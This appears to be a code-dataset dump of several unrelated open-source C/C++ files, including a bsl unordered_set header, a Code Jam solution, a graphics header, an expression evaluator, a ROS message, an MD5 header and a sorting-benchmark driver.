bsl::pair<typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator,
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator>
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::equal_range(const key_type& key)
{
typedef bsl::pair<iterator, iterator> ResultType;
iterator first = this->find(key);
if (first == this->end()) {
return ResultType(first, first); // RETURN
}
else {
iterator next = first;
return ResultType(first, ++next); // RETURN
}
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::erase(const_iterator position)
{
BSLS_ASSERT(position != this->end());
return iterator(d_impl.remove(position.node()));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::erase(const key_type& key)
{
if (HashTableLink *target = d_impl.find(key)) {
d_impl.remove(target);
return 1; // RETURN
}
else {
return 0; // RETURN
}
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::erase(const_iterator first,
const_iterator last)
{
#if defined BDE_BUILD_TARGET_SAFE_2
if (first != last) {
iterator it = this->begin();
const iterator end = this->end();
for (; it != first; ++it) {
BSLS_ASSERT(last != it);
BSLS_ASSERT(end != it);
}
for (; it != last; ++it) {
BSLS_ASSERT(end != it);
}
}
#endif
while (first != last) {
first = this->erase(first);
}
return iterator(first.node()); // convert from const_iterator
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::find(const key_type& key)
{
return iterator(d_impl.find(key));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
bsl::pair<typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator, bool>
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::insert(const value_type& value)
{
typedef bsl::pair<iterator, bool> ResultType;
bool isInsertedFlag = false;
HashTableLink *result = d_impl.insertIfMissing(&isInsertedFlag, value);
return ResultType(iterator(result), isInsertedFlag);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::insert(const_iterator,
const value_type& value)
{
// There is no realistic use-case for the 'hint' in an unordered_set of
// unique values. We could quickly test for a duplicate key, and have a
// fast return path for when the method fails, but in the typical use case
// where a new element is inserted, we are adding an extra key-check for no
// benefit. In order to insert an element into a bucket, we need to walk
// the whole bucket looking for duplicates, and the hint is no help in
// finding the start of a bucket.
return this->insert(value).first;
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
template <class INPUT_ITERATOR>
inline
void unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::insert(INPUT_ITERATOR first,
INPUT_ITERATOR last)
{
if (size_type maxInsertions =
::BloombergLP::bslstl::IteratorUtil::insertDistance(first, last)) {
this->reserve(this->size() + maxInsertions);
}
bool isInsertedFlag; // value is not used
while (first != last) {
d_impl.insertIfMissing(&isInsertedFlag, *first);
++first;
}
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::max_load_factor(
float newLoadFactor)
{
d_impl.setMaxLoadFactor(newLoadFactor);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::rehash(size_type numBuckets)
{
d_impl.rehashForNumBuckets(numBuckets);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::reserve(size_type numElements)
{
d_impl.reserveForNumElements(numElements);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::swap(unordered_set& other)
{
BSLS_ASSERT_SAFE(this->get_allocator() == other.get_allocator());
d_impl.swap(other.d_impl);
}
// ACCESSORS
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::begin() const
{
return const_iterator(d_impl.elementListRoot());
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::end() const
{
return const_iterator();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::begin(size_type index) const
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return const_local_iterator(&d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::end(size_type index) const
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return const_local_iterator(0, &d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::cbegin() const
{
return const_iterator(d_impl.elementListRoot());
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::cend() const
{
return const_iterator();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::bucket(const key_type& key) const
{
BSLS_ASSERT_SAFE(this->bucket_count() > 0);
return d_impl.bucketIndexForKey(key);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::bucket_count() const
{
return d_impl.numBuckets();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::count(const key_type& key) const
{
return 0 != d_impl.find(key);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
bool unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::empty() const
{
return 0 == d_impl.size();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::find(const key_type& key) const
{
return const_iterator(d_impl.find(key));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
bsl::pair<typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator,
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_iterator>
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::equal_range(
const key_type& key) const
{
typedef bsl::pair<const_iterator, const_iterator> ResultType;
const_iterator first = this->find(key);
if (first == this->end()) {
return ResultType(first, first); // RETURN
}
else {
const_iterator next = first;
return ResultType(first, ++next); // RETURN
}
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
ALLOCATOR unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::get_allocator() const
{
return d_impl.allocator();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::hasher
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::hash_function() const
{
return d_impl.hasher();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::key_equal
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::key_eq() const
{
return d_impl.comparator();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::bucket_size(size_type index) const
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return d_impl.countElementsInBucket(index);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::cbegin(size_type index) const
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return const_local_iterator(&d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::const_local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::cend(size_type index) const
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return const_local_iterator(0, &d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
float unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::load_factor() const
{
return d_impl.loadFactor();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::max_bucket_count() const
{
return d_impl.maxNumBuckets();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
float unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::max_load_factor() const
{
return d_impl.maxLoadFactor();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size() const
{
return d_impl.size();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::size_type
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::max_size() const
{
return AllocatorTraits::max_size(get_allocator());
}
} // close namespace bsl
// FREE FUNCTIONS
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
bool bsl::operator==(
const bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& lhs,
const bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& rhs)
{
return lhs.d_impl == rhs.d_impl;
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
bool bsl::operator!=(
const bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& lhs,
const bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& rhs)
{
return !(lhs == rhs);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void bsl::swap(bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& x,
bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& y)
{
x.swap(y);
}
// ============================================================================
// TYPE TRAITS
// ============================================================================
// Type traits for STL *unordered* *associative* containers:
//: o An unordered associative container defines STL iterators.
//: o An unordered associative container is bitwise moveable if the both
//: functors and the allocator are bitwise moveable.
//: o An unordered associative container uses 'bslma' allocators if the
//: parameterized 'ALLOCATOR' is convertible from 'bslma::Allocator*'.
namespace BloombergLP {
namespace bslalg {
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
struct HasStlIterators<bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR> >
: bsl::true_type
{};
} // close package namespace
namespace bslma {
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
struct UsesBslmaAllocator<bsl::unordered_set<KEY, HASH, EQUAL, ALLOCATOR> >
: bsl::is_convertible<Allocator*, ALLOCATOR>::type
{};
} // close package namespace
} // close enterprise namespace
#endif
// ----------------------------------------------------------------------------
// Copyright (C) 2013 Bloomberg L.P.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// ----------------------------- END-OF-FILE ----------------------------------
| [
"[email protected]"
] | |
275023fda28a8e23682d415b82788ee340cbd8ed | e4516bc1ef2407c524af95f5b6754b3a3c37b3cc | /answers/Google code jam/Round 1B 2012 Problem A. Safety in Numbers.cpp | fa39899ed4b498169273d40125ca2928b49c3f4e | [
"MIT"
] | permissive | FeiZhan/Algo-Collection | 7102732d61f324ffe5509ee48c5015b2a96cd58d | 9ecfe00151aa18e24846e318c8ed7bea9af48a57 | refs/heads/master | 2023-06-10T17:36:53.473372 | 2023-06-02T01:33:59 | 2023-06-02T01:33:59 | 3,762,869 | 4 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,701 | cpp | //Problem A. Safety in Numbers
//#define _FILE_DEBUG_
//#define _C_LAN_
//#define _DEBUG_OUTPUT_
#ifdef _FILE_DEBUG_
#include <fstream>
#endif
#include <iostream>
#include <stdio.h>
using namespace std;
#include <iomanip>
int main(int argc, char *argv[])
{
#ifdef _FILE_DEBUG_
ifstream fin;
fin.open("../A-small-attempt5.in");
cin.rdbuf(fin.rdbuf()); // assign file's streambuf to cin
#ifdef _C_LAN_
freopen("../A-small-attempt3.in", "r", stdin);
#endif
#endif
#ifdef _FILE_DEBUG_
ofstream fout;
fout.open("../output.txt");
cout.rdbuf(fout.rdbuf()); // assign file's streambuf to cout
#ifdef _C_LAN_
freopen("../output.txt", "w", stdout);
#endif
#endif
int case_sum, score_sum, score[210], sum;
double ans;
cin >> case_sum;
for (int i = 1; i <= case_sum; ++ i)
{
cin >> score_sum;
sum = 0;
for (int j = 0; j < score_sum; ++ j)
{
cin >> score[j];
sum += score[j];
}
cout << "Case #" << i << ":";
for (int j = 0; j < score_sum; ++ j)
{
ans = (2.0 / score_sum - 1.0 * score[j] / sum) * 100.0;
cout << " ";
if (ans <= 0)
{
cout << setiosflags(ios::fixed) << setprecision(6) << 0.000000;
}
else if (ans >= 100)
{
cout << setiosflags(ios::fixed) << setprecision(6) << 100.000000;
}
else if (ans == int(ans))
{
cout << setiosflags(ios::fixed) << setprecision(1)
<< ans;
}
else
{
ans *= 10000.0;
if (ans == int(ans))
{
cout << resetiosflags(ios::fixed) << ans / 10000.0;
}
else
{
cout << setiosflags(ios::fixed) << setprecision(6)
<< ans / 10000.0;
}
}
}
cout << endl;
}
return 0;
} | [
"zf@zf-LifeBook-S7111.(none)"
] | zf@zf-LifeBook-S7111.(none) |
c34103ecafe57933bccd57d5bb011daf7a6d833f | 5efdfc1572d0938b494209d4c7a286712ce57bc7 | /src/graphics.hpp | 1895ecb4b980eb889da77fea63d455a7b5cc1ab4 | [] | no_license | owenstranathan/waves | 18a2826ada911edf8c8f5f634016f4593b324b54 | d71e200c2118d5c269b3b39d1e9975bbf0faa3dd | refs/heads/master | 2020-05-18T00:22:06.993750 | 2019-06-28T20:00:49 | 2019-06-28T20:00:49 | 184,059,799 | 0 | 0 | null | 2019-06-26T20:25:22 | 2019-04-29T11:38:53 | C++ | UTF-8 | C++ | false | false | 2,317 | hpp | #pragma once
#include "utils.hpp"
#include "prelude.hpp"
#define SEA_COLOR sf::Color::Cyan
class Graphics {
public:
Graphics(Game *, sf::RenderTarget*, sf::VideoMode&);
~Graphics();
void draw() const;
void draw(const CollisionSystem&) const;
void draw(const Sea&) const;
void draw(const Rock&) const;
void draw(const Ship&) const;
void draw(const Collidable&, sf::Color) const;
template <typename T>
void draw(const wabi::Rect<T>& rect, sf::Color color) const;
template <typename T>
void draw(const sf::Rect<T>& rect, sf::Color color) const;
template<typename T>
static sf::Vector2<T> game2ScreenPos(const sf::Vector2<T>& v);
template<typename T>
static sf::Vector2<T> screen2GamePos(const sf::Vector2<T> & v);
template<typename T>
static sf::Rect<T> game2ScreenRect(const wabi::Rect<T>& in);
static float pixelsPerUnit;
static int SCREEN_HEIGHT;
static int SCREEN_WIDTH;
sf::Font* const font;
sf::Text* const text;
Game* const game;
sf::RenderTarget* target;
};
template<typename T>
sf::Vector2<T> Graphics::game2ScreenPos(const sf::Vector2<T>& v) {
return sf::Vector2<T>(v.x * pixelsPerUnit, SCREEN_HEIGHT-(v.y * pixelsPerUnit));
}
template<typename T>
sf::Vector2<T> Graphics::screen2GamePos(const sf::Vector2<T>& v) {
return sf::Vector2<T>(v.x, std::abs(SCREEN_HEIGHT - v.y)) / (T)(pixelsPerUnit);
}
template<typename T>
sf::Rect<T> Graphics::game2ScreenRect(const wabi::Rect<T>& in) {
return sf::Rect<T>(game2ScreenPos(sf::Vector2<T>(in.left, in.top)), sf::Vector2<T>(in.width * pixelsPerUnit, in.height * pixelsPerUnit));
}
/*
We want the game to use actual real world numbers for our physics calculations.
So we are going to make our unit a meter. So if something has a scalar value of one for a
size they you can assume that it would map to 1m in reality.
1st Assertion:
1 gu(game unit) = 1 m(meter)
Since we are using a semi-arbitrary unit mapping we need to scale our units out to appropriate
pixel values.
For example if we have a 5gu x 6gu ship then we can't just draw a 5x6 pixel blob. It'll just look like a dot.
So we need a consistent transformation ration between world units and pixels.
for now, fuck it. Lets call it 15 pixels per game unit (meters) ( px / gu(m) ).
*/
| [
"[email protected]"
] | |
3a5dff5b46984ecc542bf787d1593124cb87d407 | ad355be99f82cf837639183e31c91d581a8f000f | /stack.cpp | 2c078c6d570350ee3f3087518b38928d3115fbec | [
"MIT"
] | permissive | yanlinlin82/eval-exp | 95b32e2d2218343a4cb19322f7dfa33db8257127 | 3230d8b9153a7a859b3f2c3e0720056e2f54330a | refs/heads/master | 2020-12-21T14:53:34.747743 | 2020-01-27T10:24:44 | 2020-01-27T10:24:44 | 236,465,453 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,852 | cpp | #include <iostream>
#include <string>
#include <vector>
#include <cassert>
using namespace std;
class evaluator
{
private:
string infix_;
string postfix_;
public:
void init(string infix) { infix_ = infix; convert(); }
const string& postfix() const { return postfix_; }
int evaluate() const // from postfix
{
vector<int> stack;
for (const char* p = postfix_.c_str(); *p; ++p) {
if (*p >= '0' && *p <= '9') {
stack.push_back(*p - '0');
} else {
int b = stack.back(); stack.pop_back();
int a = stack.back(); stack.pop_back();
switch (*p) {
case '+': stack.push_back(a + b); break;
case '-': stack.push_back(a - b); break;
case '*': stack.push_back(a * b); break;
case '/': stack.push_back(a / b); break;
}
}
}
return stack.back();
}
private:
void convert() // infix => postfix
{
vector<char> stack{'#'};
postfix_.clear();
for (const char* p = infix_.c_str(); *p; ++p) {
if (*p >= '0' && *p <= '9') {
postfix_ += *p;
} else if (*p == '(') {
stack.push_back(*p);
} else if (*p == ')') {
while (stack.back() != '(') {
postfix_ += stack.back(); stack.pop_back();
}
stack.pop_back();
} else {
while (precedence(*p) <= precedence(stack.back())) {
postfix_ += stack.back(); stack.pop_back();
}
stack.push_back(*p);
}
}
while (stack.back() != '#') {
postfix_ += stack.back(); stack.pop_back();
}
}
static int precedence(char op)
{
switch (op) {
default: assert(false);
case '(':
case '#': return 1;
case '+':
case '-': return 2;
case '*':
case '/': return 3;
}
}
};
int main()
{
string expression = "1*(2+3/4)";
evaluator e;
e.init(expression);
cout << "infix : " << expression << endl;
cout << "postfix : " << e.postfix() << endl;
cout << "evaluate: " << e.evaluate() << endl;
return 0;
}
| [
"[email protected]"
] | |
6b5b4b6ff16b9b4c424a0c662a32243143f22fc1 | 55bfe899250607e99aa6ed20c5d688200ce4225f | /spot_real/Control/Teensy/SpotMiniMini/lib/ros_lib/actionlib/TestRequestResult.h | b2814ec2a38410a1d3818a5b127874320f289e22 | [
"MIT"
] | permissive | OpenQuadruped/spot_mini_mini | 96aef59505721779aa543aab347384d7768a1f3e | c7e4905be176c63fa0e68a09c177b937e916fa60 | refs/heads/spot | 2022-10-21T04:14:29.882620 | 2022-10-05T21:33:53 | 2022-10-05T21:33:53 | 251,706,548 | 435 | 125 | MIT | 2022-09-02T07:06:56 | 2020-03-31T19:13:59 | C++ | UTF-8 | C++ | false | false | 2,426 | h | #ifndef _ROS_actionlib_TestRequestResult_h
#define _ROS_actionlib_TestRequestResult_h
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include "ros/msg.h"
namespace actionlib
{
class TestRequestResult : public ros::Msg
{
public:
typedef int32_t _the_result_type;
_the_result_type the_result;
typedef bool _is_simple_server_type;
_is_simple_server_type is_simple_server;
TestRequestResult():
the_result(0),
is_simple_server(0)
{
}
virtual int serialize(unsigned char *outbuffer) const
{
int offset = 0;
union {
int32_t real;
uint32_t base;
} u_the_result;
u_the_result.real = this->the_result;
*(outbuffer + offset + 0) = (u_the_result.base >> (8 * 0)) & 0xFF;
*(outbuffer + offset + 1) = (u_the_result.base >> (8 * 1)) & 0xFF;
*(outbuffer + offset + 2) = (u_the_result.base >> (8 * 2)) & 0xFF;
*(outbuffer + offset + 3) = (u_the_result.base >> (8 * 3)) & 0xFF;
offset += sizeof(this->the_result);
union {
bool real;
uint8_t base;
} u_is_simple_server;
u_is_simple_server.real = this->is_simple_server;
*(outbuffer + offset + 0) = (u_is_simple_server.base >> (8 * 0)) & 0xFF;
offset += sizeof(this->is_simple_server);
return offset;
}
virtual int deserialize(unsigned char *inbuffer)
{
int offset = 0;
union {
int32_t real;
uint32_t base;
} u_the_result;
u_the_result.base = 0;
u_the_result.base |= ((uint32_t) (*(inbuffer + offset + 0))) << (8 * 0);
u_the_result.base |= ((uint32_t) (*(inbuffer + offset + 1))) << (8 * 1);
u_the_result.base |= ((uint32_t) (*(inbuffer + offset + 2))) << (8 * 2);
u_the_result.base |= ((uint32_t) (*(inbuffer + offset + 3))) << (8 * 3);
this->the_result = u_the_result.real;
offset += sizeof(this->the_result);
union {
bool real;
uint8_t base;
} u_is_simple_server;
u_is_simple_server.base = 0;
u_is_simple_server.base |= ((uint8_t) (*(inbuffer + offset + 0))) << (8 * 0);
this->is_simple_server = u_is_simple_server.real;
offset += sizeof(this->is_simple_server);
return offset;
}
const char * getType(){ return "actionlib/TestRequestResult"; };
const char * getMD5(){ return "61c2364524499c7c5017e2f3fce7ba06"; };
};
}
#endif
| [
"[email protected]"
] | |
6bc144c400ddf7591bfe4cc7ba1472fe868fdf92 | c9b9d9e93505e1e42adb61597c885b58c153894f | /source/compression/brmd5.h | 8f1e34d8db0743bbdd4d267395e5be614bd5ae0f | [
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-warranty-disclaimer",
"Zlib"
] | permissive | Olde-Skuul/burgerlib | a3b860bf00bdbc699086a32a1d4756848866d3dc | 4d9dfa0cd5586d23688978e7ec0fd5881bf75912 | refs/heads/master | 2023-08-30T17:13:52.487215 | 2023-08-18T21:56:27 | 2023-08-18T21:56:27 | 18,419,163 | 163 | 11 | null | null | null | null | UTF-8 | C++ | false | false | 1,329 | h | /***************************************
MD5 hash manager
Implemented following the documentation found in
http://en.wikipedia.org/wiki/MD5
and http://tools.ietf.org/html/rfc1321
Copyright (c) 1995-2023 by Rebecca Ann Heineman <[email protected]>
It is released under an MIT Open Source license. Please see LICENSE for
license details. Yes, you can use it in a commercial title without paying
anything, just give me a credit.
Please? It's not like I'm asking you for money!
***************************************/
#ifndef __BRMD5_H__
#define __BRMD5_H__
#ifndef __BRTYPES_H__
#include "brtypes.h"
#endif
/* BEGIN */
namespace Burger {
struct MD5_t {
/** 128 bit hash value in RFC 1321 MD5 format */
uint8_t m_Hash[16];
};
struct MD5Hasher_t {
/** Current 128 bit value */
MD5_t m_Hash;
/** Number of bytes processed (64 bit value) */
uint64_t m_uByteCount;
/** Input buffer for processing */
uint8_t m_CacheBuffer[64];
void BURGER_API init(void) BURGER_NOEXCEPT;
void BURGER_API process(const uint8_t pBlock[64]) BURGER_NOEXCEPT;
void BURGER_API process(
const void* pInput, uintptr_t uLength) BURGER_NOEXCEPT;
void BURGER_API finalize(void) BURGER_NOEXCEPT;
};
extern void BURGER_API hash(
MD5_t* pOutput, const void* pInput, uintptr_t uLength) BURGER_NOEXCEPT;
}
/* END */
#endif
| [
"[email protected]"
] | |
6a13cefa51dcabeaa2ab6cdc4904eeed063301c9 | 383e2f4cfcca36c17d9e87a03e1422ccb2303bcb | /leetcode/solutions/344.reverse-string/reverse-string.cpp | 6810138cf859eaf94f2e1267d2cbb2763f380f8e | [] | no_license | lawinse/AlgorithmExercises | 28b1893ab2d5d300785edaf8bda7adb203a5e70c | 3cbdd9ce4a4dfff0e1890819a2418a96346dae9a | refs/heads/master | 2021-01-01T19:53:38.115873 | 2017-08-10T15:05:27 | 2017-08-10T15:05:27 | 98,711,898 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 156 | cpp | class Solution {
public:
string reverseString(string s) {
for(int i=0; i<s.size()/2; ++i) swap(s[i],s[s.size()-1-i]);
return s;
}
}; | [
"[email protected]"
] | |
907e6a1a4e17f9d81792aebfb54f7a6cd9d4a6b3 | 6f953f023812ab8cb96a3712fac311f47434a1a5 | /main.cpp | 8bb4e33d37d18cde5b854d85e0a2a3e422ebdca2 | [] | no_license | Marcel-os/PAMSI-Projekt-1 | aea07848d59193df0e902e6aca6d3a90d647484b | 27b91704bb7c3a358cbfacd498c6bd7a280e3b3b | refs/heads/master | 2021-10-24T18:56:34.386012 | 2019-03-27T22:09:58 | 2019-03-27T22:09:58 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,524 | cpp | /*
* main.cpp
*
* Created on: Mar 20, 2019
* Author: marceldomagala
*/
#define ILTABLIC 100
#include <iostream>
#include "badania.h"
#include "komunikaty.h"
int main()
{
Komunikat_powitalny();
//badania dla 100 tablic 10 000 elem.:
Komunikat_ile_elementow(10000);
Komunikat_sortowanie_losowe();
Badanie(ILTABLIC,10000,0);
Komunikat_sortowanie_procentowe(250);
Badanie(ILTABLIC,10000,250);
Komunikat_sortowanie_procentowe(500);
Badanie(ILTABLIC,10000,500);
Komunikat_sortowanie_procentowe(750);
Badanie(ILTABLIC,10000,750);
Komunikat_sortowanie_procentowe(950);
Badanie(ILTABLIC,10000,950);
Komunikat_sortowanie_procentowe(990);
Badanie(ILTABLIC,10000,990);
Komunikat_sortowanie_procentowe(997);
Badanie(ILTABLIC,10000,997);
Komunikat_sortowanie_odwrotne();
Badanie_odwrotnie_posortowana(ILTABLIC,10000);
std::cerr << "/";
//badania dla 100 tablic 50 000 elem.:
Komunikat_ile_elementow(50000);
Komunikat_sortowanie_losowe();
Badanie(ILTABLIC,50000,0);
Komunikat_sortowanie_procentowe(250);
Badanie(ILTABLIC,50000,250);
Komunikat_sortowanie_procentowe(500);
Badanie(ILTABLIC,50000,500);
Komunikat_sortowanie_procentowe(750);
Badanie(ILTABLIC,50000,750);
Komunikat_sortowanie_procentowe(950);
Badanie(ILTABLIC,50000,950);
Komunikat_sortowanie_procentowe(990);
Badanie(ILTABLIC,50000,990);
Komunikat_sortowanie_procentowe(997);
Badanie(ILTABLIC,50000,997);
Komunikat_sortowanie_odwrotne();
Badanie_odwrotnie_posortowana(ILTABLIC,50000);
std::cerr << "/";
//badania dla 100 tablic 100 000 elem.:
Komunikat_ile_elementow(100000);
Komunikat_sortowanie_losowe();
Badanie(ILTABLIC,100000,0);
Komunikat_sortowanie_procentowe(250);
Badanie(ILTABLIC,100000,250);
Komunikat_sortowanie_procentowe(500);
Badanie(ILTABLIC,100000,500);
Komunikat_sortowanie_procentowe(750);
Badanie(ILTABLIC,100000,750);
Komunikat_sortowanie_procentowe(950);
Badanie(ILTABLIC,100000,950);
Komunikat_sortowanie_procentowe(990);
Badanie(ILTABLIC,100000,990);
Komunikat_sortowanie_procentowe(997);
Badanie(ILTABLIC,100000,997);
Komunikat_sortowanie_odwrotne();
Badanie_odwrotnie_posortowana(ILTABLIC,100000);
std::cerr << "/";
//badania dla 100 tablic 500 000 elem.:
Komunikat_ile_elementow(500000);
Komunikat_sortowanie_losowe();
Badanie(ILTABLIC,500000,0);
Komunikat_sortowanie_procentowe(250);
Badanie(ILTABLIC,500000,250);
Komunikat_sortowanie_procentowe(500);
Badanie(ILTABLIC,500000,500);
Komunikat_sortowanie_procentowe(750);
Badanie(ILTABLIC,500000,750);
Komunikat_sortowanie_procentowe(950);
Badanie(ILTABLIC,500000,950);
Komunikat_sortowanie_procentowe(990);
Badanie(ILTABLIC,500000,990);
Komunikat_sortowanie_procentowe(997);
Badanie(ILTABLIC,500000,997);
Komunikat_sortowanie_odwrotne();
Badanie_odwrotnie_posortowana(ILTABLIC,500000);
std::cerr << "/";
